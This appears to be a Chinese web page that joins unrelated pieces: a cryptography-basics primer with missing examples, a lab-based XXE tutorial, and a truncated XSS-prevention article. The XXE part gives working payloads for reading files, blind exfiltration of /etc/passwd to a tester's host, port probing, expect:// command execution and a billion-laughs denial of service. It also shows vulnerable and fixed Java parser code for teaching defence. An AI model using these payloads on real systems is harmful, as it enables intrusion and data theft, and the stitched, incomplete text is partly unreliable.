言
開發網站登錄功能時,如何保證密碼在傳輸過程/儲存的安全?
相信不少前后端的朋友,在面試時都會被問到類似的問題。
在我對密碼學一無所知時,也僅會回答:“MD5加密啊。”
諸不知,密碼學在網絡七層模型,甚至web開發中的應用比我想象得多得多。
1. 什么是密碼學?
密碼學是各種安全應用程序所必需的,現代密碼學旨在創建通過應用數學原理和計算機科學來保護信息的機制。但相比之下,密碼分析旨在解密此類機制,以便獲得對信息的非法訪問。
密碼學具有三個關鍵屬性:
例如個人醫療數據:
在本文中,我們將從加密,哈希,編碼和混淆四種密碼學基礎技術來入門。
本文圖片經過再制,方便看懂。
大綱和主體內容引自:How Secure Are Encryption, Hashing, Encoding and Obfuscation?[1]
2. 什么是加密?
加密定義:以保證機密性的方式轉換數據的過程。
為此,加密需要使用一個保密工具,就密碼學而言,我們稱其為“密鑰”。
加密密鑰和任何其他加密密鑰應具有一些屬性:
2.1 加密的分類:對稱和非對稱
加密分為兩類:對稱和非對稱
對稱加密:
用途:文件系統加密,Wi-Fi 保護訪問(WPA),數據庫加密(例如信用卡詳細信息)
非對稱加密:
用途:TLS,VPN,SSH。
其主要區別是:所需的密鑰數量:
能被密碼界承認的加密算法都是公開的:
3. 什么是哈希?
哈希算法定義:·一種只能加密,不能解密的密碼學算法,可以將任意長度的信息轉換成一段固定長度的字符串。
加密算法是可逆的(使用密鑰),并且可以提供機密性(某些較新的加密算法也可以提供真實性),而哈希算法是不可逆的,并且可以提供完整性,以證明未修改特定數據。
哈希算法的前提很簡單:給定任意長度的輸入,輸出特定長度的字節。在大多數情況下,此字節序列對于該輸入將是唯一的,并且不會給出輸入是什么的指示。換一種說法:
為了說明這一點,請想象一個強大的哈希算法通過將每個唯一輸入放在其自己的存儲桶中而起作用。當我們要檢查兩個輸入是否相同時,我們可以簡單地檢查它們是否在同一存儲桶中。
散列文件的存儲單位稱為桶(Bucket)
3.1 例子一:資源下載
提供文件下載的網站通常會返回每個文件的哈希值,以便用戶可以驗證其下載副本的完整性。
例如,在Debian的圖像下載服務中,您會找到其他文件,例如SHA256SUMS,其中包含可供下載的每個文件的哈希輸出(在本例中為SHA-256算法)。
在終端中,可以用openssl來對文件進行哈希處理:
同一個文件采用相同的hash算法時,就可以用來校驗是否同源。
在強大的哈希算法中,如果有兩個不同的輸入,則幾乎不可能獲得相同的輸出。
而相反的,如果計算后的結果范圍有限,就會存在不同的數據經過計算后得到的值相同,這就是哈希沖突。(兩個不同的數據計算后的結果一樣)
這種稱為:哈希碰撞(哈希沖突)。
如果兩個不同的輸入最終出現在同一個存儲桶中,則會發生沖突。如MD5和SHA-1,就會出現這種情況。這是有問題的,因為我們無法區分哪個碰撞的值匹配輸入。
強大的哈希算法幾乎會為每個唯一輸入創建一個新存儲桶。
3.2 例子二:網站登陸
在web開發中,哈希算法使用最頻繁的是在網站登陸應用上:
絕大多數的網站,在將登陸數據存入時,都會將密碼哈希后存儲。
注冊:
登陸:
哈希算法的一個有趣的方面是:無論輸入數據的長度如何,散列的輸出始終是相同的長度。
從理論上講,碰撞沖突將始終在可能性的范圍之內,盡管可能性很小。
與之相反的是編碼。
4. 什么是編碼?
編碼定義:將數據從一種形式轉換為另一種形式的過程,與加密無關。
它不保證機密性,完整性和真實性這三種加密屬性,因為:
4.1 URL編碼
又叫百分號編碼,是統一資源定位(URL)編碼方式。URL地址(常說網址)規定了:
現在已經成為一種規范了,基本所有程序語言都有這種編碼,如:
編碼方法很簡單,在該字節ascii碼的 16 進制字符前面加%. 如 空格字符,ascii碼是 32,對應 16 進制是'20',那么urlencode編碼結果是:%20。
4.2 HTML實體編碼
在HTML中,需要對數據進行HTML編碼以遵守所需的HTML字符格式。轉義避免 XSS 攻擊也是如此。
4.3 Base64/32/16編碼
base64、base32、base16可以分別編碼轉化 8 位字節為 6 位、5 位、4 位。
16,32,64 分別表示用多少個字符來編碼,
Base64常用于在通常處理文本數據的場合,表示、傳輸、存儲一些二進制數據。包括MIME的email,email via MIME,在XML中存儲復雜數據。
編碼原理:
Base64映射表,如下:
舉個栗子:
引自:一篇文章徹底弄懂 Base64 編碼原理[2]
上面的示例旨在指出,編碼的用例僅是數據處理,而不為編碼的數據提供保護。
4. 什么是混淆?
混淆定義:將人類可讀的字符串轉換為難以理解的字符串。
盡管不能保證機密性,但混淆仍有其它應用:
但是,如此存在許多有助于消除應用程序代碼混淆的工具。那就是其它話題了。。。
4.1 例子一:JavaScript混淆
JavaScript源代碼:
混淆后:
總結
從機密性,完整性,真實性分析四種密碼技術:
加密哈希編碼混淆機密性????完整性????真實性????
附錄:哈希函數
常用的哈希函數:
后記 & 引用
How Secure Are Encryption, Hashing, Encoding and Obfuscation?[3]CTF 中那些腦洞大開的編碼和加密[4]散列文件的存儲——‘桶’[5]
那么,如何保證密碼在傳輸過程/儲存的安全呢?
我們下回分解!
?? 看完三件事
如果你覺得這篇內容對你挺有啟發,我想邀請你幫我三個小忙:
也可以來我的GitHub博客里拿所有文章的源文件:
前端勸退指南:https://github.com/roger-hiro/BlogFN
參考資料
[1]
How Secure Are Encryption, Hashing, Encoding and Obfuscation?: https://auth0.com/blog/how-secure-are-encryption-hashing-encoding-and-obfuscation/#What-is-Encoding-
[2]
引自:一篇文章徹底弄懂Base64編碼原理: https://blog.csdn.net/wo541075754/article/details/81734770
[3]
How Secure Are Encryption, Hashing, Encoding and Obfuscation?: https://auth0.com/blog/how-secure-are-encryption-hashing-encoding-and-obfuscation/#What-is-Encoding-
[4]
CTF中那些腦洞大開的編碼和加密: https://www.cnblogs.com/godoforange/articles/10850493.html
[5]
散列文件的存儲——‘桶’: https://blog.csdn.net/Dearye_1/article/details/78492021
想要了解XXE,在那之前需要了解XML的相關基礎
2.1 XML語法
實體引用,在標簽屬性,以及對應的位置值可能會出現<>符號,但是這些符號在對應的XML中都是有特殊含義的,這時候我們必須使用對應html的實體對應的表示,比如<對應的實體就是<,>符號對應的實體就是>
在XML中,空格會被保留,如:<p>a空格B</p>,這時候a和B之間的空格就會被保留
2.2 XML結構
需要安全學習資料可以私信我:書籍、視頻教程、工具及學習思路【點擊查看】
2.2.1 XML文檔聲明
<?xml version="1.0" encoding="utf-8"?>
2.2.2 元素
元素是 XML 以及 HTML 文檔的主要構建模塊,元素可包含文本、其他元素或者是空的。
<body>body text in between</body>
<message>some message in between</message>
空元素有例如:hr、br、img
2.2.3 屬性
屬性可提供有關元素的額外信息
<img src="computer.gif"/>
其中,src為屬性
2.2.4 實體
實體分為四種類型,分別為:
2.3 文檔類型定義--DTD
DTD是用來規范XML文檔格式,既可以用來說明哪些元素/屬性是合法的以及元素間應當怎樣嵌套/結合,也用來將一些特殊字符和可復用代碼段自定義為實體
DTD可以嵌入XML文檔當中(內部聲明),也可以以單獨的文件存放(外部引用)
2.3.1 DTD內部聲明
假如 DTD 被包含在您的 XML 源文件中,它應當通過下面的語法包裝在一個 DOCTYPE 聲明中:
<!DOCTYPE 根元素 [元素聲明]>
內部聲明DTD示例
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
以上 DTD 解釋如下:
2.3.2 DTD外部引用
假如 DTD 位于 XML 源文件的外部,那么它應通過下面的語法被封裝在一個 DOCTYPE 定義中:
<!DOCTYPE 根元素 SYSTEM "文件名">
這個 XML 文檔和上面的 XML 文檔相同,但是擁有一個外部的 DTD:
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
note.dtd:
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
2.3.3 PCDATA
PCDATA 的意思是被解析的字符數據(parsed character data)。
PCDATA 是會被解析器解析的文本。這些文本將被解析器檢查實體以及標記,文本中的標簽會被當作標記來處理,而實體會被展開,值得注意的是,PCDATA不應包含&、<和>字符,需要用& < >實體替換,又或者是使用CDATA
2.3.4 CDATA
CDATA 的意思是字符數據(character data)。
CDATA 是不會被解析器解析的文本。
在XML中&、<字符是屬于違法的,這是因為解析器會將<解釋為新元素的開始,將&解釋為字符實體的開始,所以當我們有需要使用包含大量&、<字符的代碼,則可以使用CDATA
CDATA由結束,在CDATA當中,不能包含]]>字符串,也不能嵌套CDATA,結尾的]]>字符串不能包含任何的空格和換行
2.3.5 DTD實體
DTD實體是用于定義引用普通文本或特殊字符的快捷方式的變量,可以內部聲明或外部引用。
實體又分為一般實體和參數實體
1,一般實體的聲明語法:
引用實體的方式:&實體名;
2,參數實體只能在DTD中使用,參數實體的聲明格式:
引用實體的方式:%實體名;
2.3.5.1 內部實體
<!ENTITY writer "Bill Gates">
<!ENTITY copyright "Copyright W3School.com.cn">
<author>&writer;?right;</author>
2.3.5.2 外部實體
外部實體,用來引入外部資源。有SYSTEM和PUBLIC兩個關鍵字,表示實體來自本地計算機還是公共計算機
<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
<author>&writer;?right;</author>
不同程序支持的協議不同
LIBXML2 | PHP | JAVA | .NET |
file | file | http | file |
http | http | https | http |
ftp | ftp | ftp | https |
php | file | ftp | |
compress.zlib | jar | ||
compress.bzip2 | netdoc | ||
data | mailto | ||
glob | gopher * | ||
phar |
其中php支持的協議會更多一些,但需要一定的擴展支持。
??
XXE即XML外部實體注入,由上面可知,外部實體指的就是DTD外部實體,而造成XXE的原因是在解析XML的時候,對惡意的外部實體進行解析導致可加載惡意外部文件,造成文件讀取、命令執行、內網端口掃描、攻擊內網網站、發起dos攻擊等危害
如何判斷
3.1 如何判斷是否存在XXE
以bwapp靶場為例
首先查看http頭,觀察是否有XML相關字符串
再判斷是否解析了XML內容
發現修改內容后服務器會解析相應的內容
3.2 XXE可導致的危害
3.2.1 讀取文件
最主要使用的是使用XXE來讀取文件,這里我使用bwapp靶場作為環境
我搭建環境的時候使用php版本為5.2.17的環境,我是使用phpstudy搭建的環境,如果php版本大于5.2.17或者使用docker環境(php版本為5.5.9)會導致沒有回顯,當然可能只是我的環境問題,但是如果以low難度進行注入時使用正確的payload都是顯示An error occured!的話,可以嘗試使用我的方法
3.2.1.1 有回響
首先先進入XXE漏洞的測試界面
http://192.168.0.105/bwapp/xxe-1.php
進行抓包,發現存在text/xml
通過修改數據,觀察服務器是否會解析XML的內容
確定服務器會解析XML內容,就可以自己構造注入了
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE test[
<!ENTITY bee SYSTEM "file:///d:/robots.txt">
]>
<reset><login>&bee;</login><secret>Any bugs?</secret></reset>
XML的外部實體“bee”被賦予的值為:file:///d:/robots.txt,當解析xml文檔時,bee會被替換為file:///d:/robots.txt的內容。就被執行回顯回來了。
3.2.1.2 無回顯(Blind XXE)
但是在實際環境中XML大多數時候并非是為了輸出用,所以很多時候是不會有輸出的,這樣即使XML被解析了但是是無法直接讀取文件的,所以我們需要外帶數據,把數據發送出來讀取
靶場環境:Vulhub - Docker-Compose file for vulnerability environment
??
搭建好環境后先進入此頁面http://192.168.3.25:8983/solr/#/demo/query,然后點擊提交,進行抓包,并把包發送到重放器
在本地主機(使用橋接)或者是云服務器,反正能讓目標服務器連接到的ip的主機即可,在此服務器上創建dtd文件
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd "<!ENTITY data SYSTEM ':%file;'>">
創建完后修改包內的payload
/solr/demo/select?\_=1641268411205&q=<%3fxml+version%3d"1.0"+%3f><!DOCTYPE+hack[<!ENTITY+%25+send+SYSTEM+"http%3a//192.168.3.35/xxe.dtd">%25send%3b%25dtd%3b]><r>%26data%3b</r>&wt=xml&defType=xmlparser
該payload解碼后為
<?xml version="1.0" ?><!DOCTYPE hack[<!ENTITY % send SYSTEM "http://192.168.3.35/xxe.dtd">%send;%dtd;]><r>&data;</r>&wt=xml&defType=xmlparser
注意,http://192.168.3.35/xxe.dtd這句需要改為自己的地址,同時發包的時候不要把&wt=xml&defType=xmlparser進行url編碼,直接復制上去就好了
以上情況是當php報錯時將里面的數據,如果php沒有報錯則使用下面的方法
首先先監聽端口,然后在上面的基礎上修改一下dtd文件
<!ENTITY % file SYSTEM "file:///h:/test.txt">
<!ENTITY % dtd "<!ENTITY data SYSTEM '192.168.3.35:666/?%file;'>">
在連接后面附上監聽的端口,發送后會在監聽處收到信息,如果沒有可以嘗試查看服務器日志
這里用一下別人的圖
參考鏈接:XXE漏洞詳解——進階篇 - FreeBuf網絡安全行業門戶
但是我這里復現沒有成功,也有可能是直接通過報錯讀出文件的原因,但是還是記錄一下這種情況
3.2.1.3 讀取PHP等文件
由于一些文件,如php文件內含有<等字符,在讀取的時候想、解析器會將這些解析為xml語言導致語法錯誤,所以為了避免這種情況出現使用偽協議來讀取
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE test[
<!ENTITY bee SYSTEM "php://filter/read=convert.base64-encode/resource=file:///d:/robots.txt">
]>
<reset><login>&bee;</login><secret>Any bugs?</secret></reset>
3.2.1.4 端口探測
同樣使用bwapp靶場作為環境
前面的流程基本一致,抓包后構造注入
在http連接后跟端口,如果端口開啟,則會顯示 failed to open stream: HTTP request failed!,否則不顯示(或者顯示failed to open stream: Connection refuse!或500狀態碼)
我這里使用phpstudy作為環境,所以開啟了3306端口
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE hack[
<!ENTITY bee SYSTEM "http://192.168.3.25:3306">
]>
測試666端口,機器沒有開啟,所以在發送包后獲取響應包需要很長一段時間,最后報500錯誤碼
測試1234端口,本機同樣為開啟,也是等待了一小會才獲取到的響應包
3.2.1.5 遠程命令執行RCE
要想要RCE需要使用expect協議,其他協議也有可能可以執行命令
??
expect需要安裝expect拓展
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE hack[
<!ENTITY bee SYSTEM "expect://whoami">
]>
3.2.1.6 DDOS 攻擊
參考文章:XXE從入門到放棄 - 安全客服,安全資訊平臺 (anquanke.com)
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "abc">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
該攻擊通過創建一項遞歸的 XML 定義,在內存中生成十億個”abc”字符串,從而導致 DDoS 攻擊。原理為:構造惡意的XML實體文件耗盡可用內存,因為許多XML解析器在解析XML文檔時傾向于將它的整個結構保留在內存中,解析非常慢,造成了拒絕服務器攻擊。
3.2.1.7 防御XXE
方案一、使用開發語言提供的禁用外部實體的方法
PHP:
libxml_disable_entity_loader(true);
JAVA:看下面的代碼審計
Python:
第三方模塊lxml按照修改設置來改就可以
from lxml import etree
xmlData=etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
def xxe():
tree=etree.parse('xml.xml', etree.XMLParser(resolve_entities=False))
# tree=lxml.objectify.parse('xml.xml', etree.XMLParser(resolve_entities=False))
return etree.tostring(tree.getroot())
嘗試改用defusedxml 是一個純 Python 軟件包,它修改了所有標準庫 XML 解析器的子類,可以防止任何潛在的惡意操作。 對于解析不受信任的XML數據的任何服務器代碼,建議使用此程序包。
方案二、過濾用戶提交的XML數據
關鍵詞:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。
不允許XML中含有任何自己聲明的DTD
有效的措施:配置XML parser只能使用靜態DTD,禁止外來引入;對于Java來說,直接設置相應的屬性值為false即可
參考文章:(38條消息) XXE詳解_bylfsj的博客-CSDN博客_xxe
XXE為XML External Entity Injection的英文縮寫,當開發人員允許xml解析外部實體時,攻擊者可構造惡意外部實體來達到任意文件讀取、內網端口探測、命令執行、拒絕服務攻擊等方面的攻擊。
產生XXE有三個條件,首先是解析了XML,其次是XML外部可控。最后是沒有禁用外部實體
5.1 XMLReader
XMLReader接口是一種通過回調讀取XML文檔的接口,其存在于公共區域中。XMLReader接口是XML解析器實現SAX2驅動程序所必需的接口,其允許應用程序設置和查詢解析器中的功能和屬性、注冊文檔處理的事件處理程序,以及開始文檔解析。當XMLReader使用默認的解析方法并且未對XML進行過濾時,會出現XXE漏洞
5.2 SAXBuilder
SAXBuilder是一個JDOM解析器,其能夠將路徑中的XML文件解析為Document對象。SAXBuilder使用第三方SAX解析器來處理解析任務,并使用SAXHandler的實例偵聽SAX事件。當SAXBuilder使用默認的解析方法并且未對XML進行過濾時,會出現XXE漏洞
5.3 SAXReader
DOM4J是dom4j.org出品的一個開源XML解析包,使用起來非常簡單,只要了解基本的XML-DOM模型,就能使用。DOM4J讀/寫XML文檔主要依賴于org.dom4j.io包,它有DOMReader和SAXReader兩種方式。因為使用了同一個接口,所以這兩種方式的調用方法是完全一致的。同樣的,在使用默認解析方法并且未對XML進行過濾時,其也會出現XXE漏洞。
5.4 SAXParserFactory
SAXParserFactory使應用程序能夠配置和獲取基于SAX的解析器以解析XML文檔。其受保護的構造方法,可以強制使用newInstance()。跟上面介紹的一樣,在使用默認解析方法且未對XML進行過濾時,其也會出現XXE漏洞。
5.5 Digester
Digester類用來將XML映射成Java類,以簡化XML的處理。它是Apache Commons庫中的一個jar包:common-digester包。一樣的在默認配置下會出現XXE漏洞。其觸發的XXE漏洞是沒有回顯的,我們一般需通過Blind XXE的方法來利用
5.6 DocumentBuilderFactory
javax.xml.parsers包中的DocumentBuilderFactory用于創建DOM模式的解析器對象,DocumentBuilderFactory是一個抽象工廠類,它不能直接實例化,但該類提供了一個newInstance()方法,這個方法會根據本地平臺默認安裝的解析器,自動創建一個工廠的對象并返回。
?六、接口代碼審計&修復
通過了解XXE的原理了解到防御XXE只需要做到以下幾點
1、不解析XML,但是有的時候業務需要
2、禁用dtd,同樣很多時候無法實現
3、禁用外部實體和參數實體
對大部分時候,都可以通過設置feature來控制解析器的行為
// 這是優先選擇. 如果不允許DTDs (doctypes) ,幾乎可以阻止所有的XML實體攻擊
setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
// 如果不能完全禁用DTDs,最少采取以下措施,必須兩項同時存在
setFeature("http://xml.org/sax/features/external-general-entities", false);// 防止外部實體POC
setFeature("http://xml.org/sax/features/external-parameter-entities", false);// 防止參數實體POC
如果是啟用了XIclude則要在feature規則前添加
dbf.setXIncludeAware(true); // 支持XInclude
dbf.setNamespaceAware(true); // 支持XInclude
以下代碼均出于:java-sec-code/XXE.java at master · JoyChou93/java-sec-code (github.com)
6.1 XMLReader
try {
String body=WebUtils.getRequestBody(request);
logger.info(body);
XMLReader xmlReader=XMLReaderFactory.createXMLReader();
xmlReader.parse(new InputSource(new StringReader(body))); // parse xml
return "xmlReader xxe vuln code";
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
6.2 修復代碼
try {
String body=WebUtils.getRequestBody(request);
logger.info(body);
XMLReader xmlReader=XMLReaderFactory.createXMLReader();
// fix code start
xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
xmlReader.setFeature("http://xml.org/sax/features/external-general-entities", false);
xmlReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
//fix code end
xmlReader.parse(new InputSource(new StringReader(body))); // parse xml
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
6.3 SAXBuilder
try {
String body=WebUtils.getRequestBody(request);
logger.info(body);
SAXBuilder builder=new SAXBuilder();
// org.jdom2.Document document
builder.build(new InputSource(new StringReader(body))); // cause xxe
return "SAXBuilder xxe vuln code";
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
6.4 修復代碼:
try {
String body=WebUtils.getRequestBody(request);
logger.info(body);
SAXBuilder builder=new SAXBuilder();
// fix code start
builder.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
builder.setFeature("http://xml.org/sax/features/external-general-entities", false);
builder.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
// fix code end
// org.jdom2.Document document
builder.build(new InputSource(new StringReader(body)));
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
6.5 SAXReader
try {
String body=WebUtils.getRequestBody(request);
logger.info(body);
SAXReader reader=new SAXReader();
// org.dom4j.Document document
reader.read(new InputSource(new StringReader(body))); // cause xxe
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
修復代碼:
try {
String body=WebUtils.getRequestBody(request);
logger.info(body);
SAXReader reader=new SAXReader();
// fix code start
reader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
reader.setFeature("http://xml.org/sax/features/external-general-entities", false);
reader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
// fix code end
// org.dom4j.Document document
reader.read(new InputSource(new StringReader(body)));
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
6.6 SAXParserFactory
try {
String body=WebUtils.getRequestBody(request);
logger.info(body);
SAXParserFactory spf=SAXParserFactory.newInstance();
SAXParser parser=spf.newSAXParser();
parser.parse(new InputSource(new StringReader(body)), new DefaultHandler()); // parse xml
return "SAXParser xxe vuln code";
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
6.7 修復代碼:
try {
String body=WebUtils.getRequestBody(request);
logger.info(body);
SAXParserFactory spf=SAXParserFactory.newInstance();
// fix code start
spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
// fix code start
SAXParser parser=spf.newSAXParser();
parser.parse(new InputSource(new StringReader(body)), new DefaultHandler()); // parse xml
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
6.8 Digester
try {
String body=WebUtils.getRequestBody(request);
logger.info(body);
Digester digester=new Digester();
digester.parse(new StringReader(body)); // parse xml
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
修復代碼:
try {
String body=WebUtils.getRequestBody(request);
logger.info(body);
Digester digester=new Digester();
// fix code start
digester.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
digester.setFeature("http://xml.org/sax/features/external-general-entities", false);
digester.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
// fix code end
digester.parse(new StringReader(body)); // parse xml
return "Digester xxe security code";
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
6.9 DocumentBuilderFactory
6.9.1 代碼1:
try {
String body=WebUtils.getRequestBody(request);
logger.info(body);
DocumentBuilderFactory dbf=DocumentBuilderFactory.newInstance();
DocumentBuilder db=dbf.newDocumentBuilder();
StringReader sr=new StringReader(body);
InputSource is=new InputSource(sr);
Document document=db.parse(is); // parse xml
// 遍歷xml節點name和value
StringBuilder buf=new StringBuilder();
NodeList rootNodeList=document.getChildNodes();
for (int i=0; i < rootNodeList.getLength(); i++) {
Node rootNode=rootNodeList.item(i);
NodeList child=rootNode.getChildNodes();
for (int j=0; j < child.getLength(); j++) {
Node node=child.item(j);
buf.append(String.format("%s: %s\n", node.getNodeName(), node.getTextContent()));
}
}
sr.close();
return buf.toString();
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
6.9.2 代碼2:
try {
String body=WebUtils.getRequestBody(request);
logger.info(body);
DocumentBuilderFactory dbf=DocumentBuilderFactory.newInstance();
DocumentBuilder db=dbf.newDocumentBuilder();
StringReader sr=new StringReader(body);
InputSource is=new InputSource(sr);
Document document=db.parse(is); // parse xml
// 遍歷xml節點name和value
StringBuilder result=new StringBuilder();
NodeList rootNodeList=document.getChildNodes();
for (int i=0; i < rootNodeList.getLength(); i++) {
Node rootNode=rootNodeList.item(i);
NodeList child=rootNode.getChildNodes();
for (int j=0; j < child.getLength(); j++) {
Node node=child.item(j);
// 正常解析XML,需要判斷是否是ELEMENT_NODE類型。否則會出現多余的的節點。
if (child.item(j).getNodeType()==Node.ELEMENT_NODE) {
result.append(String.format("%s: %s\n", node.getNodeName(), node.getFirstChild()));
}
}
}
sr.close();
return result.toString();
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
6.9.3 修復代碼:
try {
String body=WebUtils.getRequestBody(request);
logger.info(body);
DocumentBuilderFactory dbf=DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
DocumentBuilder db=dbf.newDocumentBuilder();
StringReader sr=new StringReader(body);
InputSource is=new InputSource(sr);
db.parse(is); // parse xml
sr.close();
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
6.9.4 代碼3,支持XInclude:
6.9.4.1何為XInclude
Xinclude即為XML Include,其實就是文件包含,其作用很大時候可以使得代碼更加簡潔,當需要使用其中的內容的時候再把文件包含進來,可以參考php的include
try {
String body=WebUtils.getRequestBody(request);
logger.info(body);
DocumentBuilderFactory dbf=DocumentBuilderFactory.newInstance();
dbf.setXIncludeAware(true); // 支持XInclude
dbf.setNamespaceAware(true); // 支持XInclude
DocumentBuilder db=dbf.newDocumentBuilder();
StringReader sr=new StringReader(body);
InputSource is=new InputSource(sr);
Document document=db.parse(is); // parse xml
NodeList rootNodeList=document.getChildNodes();
response(rootNodeList);
sr.close();
return "DocumentBuilder xinclude xxe vuln code";
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
修復代碼;
try {
String body=WebUtils.getRequestBody(request);
logger.info(body);
DocumentBuilderFactory dbf=DocumentBuilderFactory.newInstance();
dbf.setXIncludeAware(true); // 支持XInclude
dbf.setNamespaceAware(true); // 支持XInclude
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
DocumentBuilder db=dbf.newDocumentBuilder();
StringReader sr=new StringReader(body);
InputSource is=new InputSource(sr);
Document document=db.parse(is); // parse xml
NodeList rootNodeList=document.getChildNodes();
response(rootNodeList);
sr.close();
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
6.10 XMLReader&SAXParserFactory
try {
String body=WebUtils.getRequestBody(request);
logger.info(body);
SAXParserFactory spf=SAXParserFactory.newInstance();
SAXParser saxParser=spf.newSAXParser();
XMLReader xmlReader=saxParser.getXMLReader();
xmlReader.parse(new InputSource(new StringReader(body)));
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
修復代碼:
try {
String body=WebUtils.getRequestBody(request);
logger.info(body);
SAXParserFactory spf=SAXParserFactory.newInstance();
SAXParser saxParser=spf.newSAXParser();
XMLReader xmlReader=saxParser.getXMLReader();
xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
xmlReader.setFeature("http://xml.org/sax/features/external-general-entities", false);
xmlReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
xmlReader.parse(new InputSource(new StringReader(body)));
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
6.11 DocumentHelper
try {
String body=WebUtils.getRequestBody(req);
DocumentHelper.parseText(body); // parse xml
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
修復該漏洞只需升級dom4j到2.1.1及以上,該版本及以上禁用了ENTITY;
不帶ENTITY的PoC不能利用,所以禁用ENTITY即可完成修復。
文由騰訊WeTest團隊提供,更多資訊可直接戳鏈接查看:http://wetest.qq.com/lab/
微信號:TencentWeTest
對于新接觸web開發的同學來說,XSS注入是一件非常頭疼的事情。就算是web開發多年的老手,也不敢保證自己寫的代碼完全沒有XSS注入的風險。
因為現在比較主流的XSS防治手段主要有兩種,一種是在用戶輸入是將異常關鍵詞過濾,另一種則是在頁面渲染時將html內容實體化轉義。
然而第一種方法一定程度上對業務數據要求相對較高,存在屏蔽數據和業務數據有沖突的情況,例如“程序類幫助文檔的編輯保存”,“外站帖子爬蟲”等等。都不能無差別將異常關鍵詞過濾掉,必須保持原輸入內容的完整性。
而另一種html內容實體化的方式,又非常的依賴開發的編程習慣。一個不小心漏寫了就是一個安全工單,做web的前端同事應該深有體會。于是,我開始研究能不能不再依賴開發習慣,從框架層面上完全屏蔽XSS。
這里先介紹一下我的PHP web Server框架,是我自己從從事web開發開始就一直在維護更新的框架,鏈接在此,有興趣的同學,可以看下。或者提出更多改進的建議。
首先來看下普通的PHP是怎么轉義html實體的:
htmlspecialchars($content, ENT_QUOTES | ENT_SUBSTITUTE) ENT_QUOTES 意思是需要轉義雙引號(”)和 單引號 (’)
ENT_SUBSTITUTE 意思是 把無效的編碼替代成一個指定的帶有 Unicode 替代字符
首先很容易想到的是把php模版中的字符串全部替換掉。
